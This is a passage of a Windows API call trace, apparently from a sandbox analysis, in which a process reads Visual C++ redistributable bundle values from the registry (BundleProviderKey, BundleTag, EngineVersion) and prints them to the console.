[0150.690] _fileno (_File=0x7fefd702ab0) returned 1 [0150.690] _errno () returned 0x204bb0 [0150.690] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.690] _errno () returned 0x204bb0 [0150.690] GetFileType (hFile=0x50) returned 0x1 [0150.690] lstrlenW (lpString=" ") returned 4 [0150.690] GetConsoleOutputCP () returned 0x1b5 [0150.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.691] GetConsoleOutputCP () returned 0x1b5 [0150.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.691] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.691] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.691] __iob_func () returned 0x7fefd702a80 [0150.691] _fileno (_File=0x7fefd702ab0) returned 1 [0150.691] _errno () returned 0x204bb0 [0150.691] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.691] _errno () returned 0x204bb0 [0150.691] GetFileType (hFile=0x50) returned 0x1 [0150.691] lstrlenW (lpString="11.0.61030.0") returned 12 [0150.691] GetConsoleOutputCP () returned 0x1b5 [0150.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030.0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.691] GetConsoleOutputCP () returned 0x1b5 [0150.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.0.61030.0", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.0.61030.0", lpUsedDefaultChar=0x0) returned 12 [0150.691] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.691] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.691] __iob_func () returned 0x7fefd702a80 [0150.691] _fileno (_File=0x7fefd702ab0) returned 1 [0150.691] _errno () returned 0x204bb0 [0150.691] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.691] _errno () returned 0x204bb0 [0150.691] GetFileType (hFile=0x50) returned 0x1 [0150.691] lstrlenW (lpString="\n") returned 1 [0150.692] GetConsoleOutputCP () returned 0x1b5 [0150.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.692] GetConsoleOutputCP () returned 0x1b5 [0150.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.692] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.692] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.692] GetProcessHeap () returned 0x3c0000 [0150.692] GetProcessHeap () returned 0x3c0000 [0150.692] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.692] GetProcessHeap () returned 0x3c0000 [0150.692] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0150.692] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.692] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleProviderKey", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.692] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x50) returned 0x0 [0150.692] GetProcessHeap () returned 0x3c0000 [0150.693] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x52) returned 0x3db830 [0150.693] GetProcessHeap () returned 0x3c0000 [0150.693] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.693] GetProcessHeap () returned 0x3c0000 [0150.693] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0150.693] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x50 | out: pdwType=0x29f700*=0x1, pvData="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", pcbData=0x29f780*=0x4e) returned 0x0 [0150.693] __iob_func () returned 0x7fefd702a80 [0150.693] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.693] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.693] _fileno (_File=0x7fefd702ab0) returned 1 [0150.693] _errno () returned 0x204bb0 [0150.693] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.693] _errno () returned 0x204bb0 [0150.693] GetFileType (hFile=0x50) returned 0x1 [0150.693] lstrlenW (lpString=" ") returned 4 [0150.693] GetConsoleOutputCP () returned 0x1b5 [0150.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.693] GetConsoleOutputCP () returned 0x1b5 [0150.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.693] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.693] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.693] lstrlenW (lpString="BundleProviderKey") returned 17 [0150.693] __iob_func () returned 0x7fefd702a80 [0150.693] _fileno (_File=0x7fefd702ab0) returned 1 [0150.693] _errno () returned 0x204bb0 [0150.693] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.693] _errno () returned 0x204bb0 [0150.694] GetFileType (hFile=0x50) returned 0x1 [0150.694] lstrlenW (lpString="BundleProviderKey") returned 17 [0150.694] GetConsoleOutputCP () returned 0x1b5 [0150.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.694] GetConsoleOutputCP () returned 0x1b5 [0150.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleProviderKey", lpUsedDefaultChar=0x0) returned 17 [0150.694] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.694] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.694] __iob_func () returned 0x7fefd702a80 [0150.694] _fileno (_File=0x7fefd702ab0) returned 1 [0150.694] _errno () returned 0x204bb0 [0150.694] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.694] _errno () returned 0x204bb0 [0150.694] GetFileType (hFile=0x50) returned 0x1 [0150.694] lstrlenW (lpString=" ") returned 4 [0150.694] GetConsoleOutputCP () returned 0x1b5 [0150.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.694] GetConsoleOutputCP () returned 0x1b5 [0150.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.694] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.695] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.695] __iob_func () returned 0x7fefd702a80 [0150.695] _fileno (_File=0x7fefd702ab0) returned 1 [0150.695] _errno () returned 0x204bb0 [0150.695] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.695] _errno () returned 0x204bb0 [0150.695] GetFileType (hFile=0x50) returned 0x1 [0150.695] lstrlenW (lpString="REG_SZ") returned 6 [0150.695] GetConsoleOutputCP () returned 0x1b5 [0150.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.695] GetConsoleOutputCP () returned 0x1b5 [0150.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.695] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.695] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.695] __iob_func () returned 0x7fefd702a80 [0150.695] _fileno (_File=0x7fefd702ab0) returned 1 [0150.695] _errno () returned 0x204bb0 [0150.695] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.695] _errno () returned 0x204bb0 [0150.695] GetFileType (hFile=0x50) returned 0x1 [0150.695] lstrlenW (lpString=" ") returned 4 [0150.695] GetConsoleOutputCP () returned 0x1b5 [0150.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.696] GetConsoleOutputCP () returned 0x1b5 [0150.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.696] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.696] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.696] __iob_func () returned 0x7fefd702a80 [0150.696] _fileno (_File=0x7fefd702ab0) returned 1 [0150.696] _errno () returned 0x204bb0 [0150.696] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.696] _errno () returned 0x204bb0 [0150.696] GetFileType (hFile=0x50) returned 0x1 [0150.696] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38 [0150.696] GetConsoleOutputCP () returned 0x1b5 [0150.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0150.696] GetConsoleOutputCP () returned 0x1b5 [0150.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpUsedDefaultChar=0x0) returned 38 [0150.696] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0150.696] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.696] __iob_func () returned 0x7fefd702a80 [0150.696] _fileno (_File=0x7fefd702ab0) returned 1 [0150.696] _errno () returned 0x204bb0 [0150.696] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.696] _errno () returned 0x204bb0 [0150.696] GetFileType (hFile=0x50) returned 0x1 [0150.696] lstrlenW (lpString="\n") returned 1 [0150.697] GetConsoleOutputCP () returned 0x1b5 [0150.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.697] GetConsoleOutputCP () returned 0x1b5 [0150.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.697] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.697] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.697] GetProcessHeap () returned 0x3c0000 [0150.697] GetProcessHeap () returned 0x3c0000 [0150.697] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.697] GetProcessHeap () returned 0x3c0000 [0150.697] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0150.697] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.697] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleTag", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.697] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2) returned 0x0 [0150.697] GetProcessHeap () returned 0x3c0000 [0150.697] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x4) returned 0x3dee90 [0150.697] GetProcessHeap () returned 0x3c0000 [0150.697] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.697] GetProcessHeap () returned 0x3c0000 [0150.697] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0150.697] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x2 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.697] __iob_func () returned 0x7fefd702a80 [0150.697] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.697] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.697] _fileno (_File=0x7fefd702ab0) returned 1 [0150.697] _errno () returned 0x204bb0 [0150.698] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.698] _errno () returned 0x204bb0 [0150.698] GetFileType (hFile=0x50) returned 0x1 [0150.698] lstrlenW (lpString=" ") returned 4 [0150.698] GetConsoleOutputCP () returned 0x1b5 [0150.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.698] GetConsoleOutputCP () returned 0x1b5 [0150.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.698] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.698] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.698] lstrlenW (lpString="BundleTag") returned 9 [0150.698] __iob_func () returned 0x7fefd702a80 [0150.698] _fileno (_File=0x7fefd702ab0) returned 1 [0150.698] _errno () returned 0x204bb0 [0150.698] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.698] _errno () returned 0x204bb0 [0150.698] GetFileType (hFile=0x50) returned 0x1 [0150.698] lstrlenW (lpString="BundleTag") returned 9 [0150.698] GetConsoleOutputCP () returned 0x1b5 [0150.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.698] GetConsoleOutputCP () returned 0x1b5 [0150.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleTag", lpUsedDefaultChar=0x0) returned 9 [0150.699] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.699] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.699] __iob_func () returned 0x7fefd702a80 [0150.699] _fileno (_File=0x7fefd702ab0) returned 1 [0150.699] _errno () returned 0x204bb0 [0150.699] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.699] _errno () returned 0x204bb0 [0150.699] GetFileType (hFile=0x50) returned 0x1 [0150.699] lstrlenW (lpString=" ") returned 4 [0150.699] GetConsoleOutputCP () returned 0x1b5 [0150.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.699] GetConsoleOutputCP () returned 0x1b5 [0150.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.699] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.699] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.699] __iob_func () returned 0x7fefd702a80 [0150.699] _fileno (_File=0x7fefd702ab0) returned 1 [0150.699] _errno () returned 0x204bb0 [0150.699] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.699] _errno () returned 0x204bb0 [0150.699] GetFileType (hFile=0x50) returned 0x1 [0150.699] lstrlenW (lpString="REG_SZ") returned 6 [0150.699] GetConsoleOutputCP () returned 0x1b5 [0150.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.700] GetConsoleOutputCP () returned 0x1b5 [0150.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.700] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.700] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.700] __iob_func () returned 0x7fefd702a80 [0150.700] _fileno (_File=0x7fefd702ab0) returned 1 [0150.700] _errno () returned 0x204bb0 [0150.700] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.700] _errno () returned 0x204bb0 [0150.700] GetFileType (hFile=0x50) returned 0x1 [0150.700] lstrlenW (lpString=" ") returned 4 [0150.700] GetConsoleOutputCP () returned 0x1b5 [0150.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.700] GetConsoleOutputCP () returned 0x1b5 [0150.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.700] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.700] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.700] __iob_func () returned 0x7fefd702a80 [0150.700] _fileno (_File=0x7fefd702ab0) returned 1 [0150.700] _errno () returned 0x204bb0 [0150.700] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.700] _errno () returned 0x204bb0 [0150.700] GetFileType (hFile=0x50) returned 0x1 [0150.701] lstrlenW (lpString="") returned 0 [0150.701] __iob_func () returned 0x7fefd702a80 [0150.701] _fileno (_File=0x7fefd702ab0) returned 1 [0150.701] _errno () returned 0x204bb0 [0150.701] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.701] _errno () returned 0x204bb0 [0150.701] GetFileType (hFile=0x50) returned 0x1 [0150.701] lstrlenW (lpString="\n") returned 1 [0150.701] GetConsoleOutputCP () returned 0x1b5 [0150.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.701] GetConsoleOutputCP () returned 0x1b5 [0150.701] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.701] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.701] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.701] GetProcessHeap () returned 0x3c0000 [0150.701] GetProcessHeap () returned 0x3c0000 [0150.701] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.701] GetProcessHeap () returned 0x3c0000 [0150.701] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0150.701] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.701] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EngineVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.701] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0150.701] GetProcessHeap () returned 0x3c0000 [0150.701] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c30 [0150.702] GetProcessHeap () returned 0x3c0000 [0150.702] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.702] GetProcessHeap () returned 0x3c0000 [0150.702] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0150.702] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="3.6.3542.0", pcbData=0x29f780*=0x16) returned 0x0 [0150.702] __iob_func () returned 0x7fefd702a80 [0150.702] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.702] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.702] _fileno (_File=0x7fefd702ab0) returned 1 [0150.702] _errno () returned 0x204bb0 [0150.702] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.702] _errno () returned 0x204bb0 [0150.702] GetFileType (hFile=0x50) returned 0x1 [0150.702] lstrlenW (lpString=" ") returned 4 [0150.702] GetConsoleOutputCP () returned 0x1b5 [0150.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.702] GetConsoleOutputCP () returned 0x1b5 [0150.702] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.702] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.702] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.702] lstrlenW (lpString="EngineVersion") returned 13 [0150.702] __iob_func () returned 0x7fefd702a80 [0150.702] _fileno (_File=0x7fefd702ab0) returned 1 [0150.702] _errno () returned 0x204bb0 [0150.702] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.702] _errno () returned 0x204bb0 [0150.702] GetFileType (hFile=0x50) returned 0x1 [0150.702] lstrlenW (lpString="EngineVersion") returned 13 [0150.703] GetConsoleOutputCP () returned 0x1b5 [0150.703] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 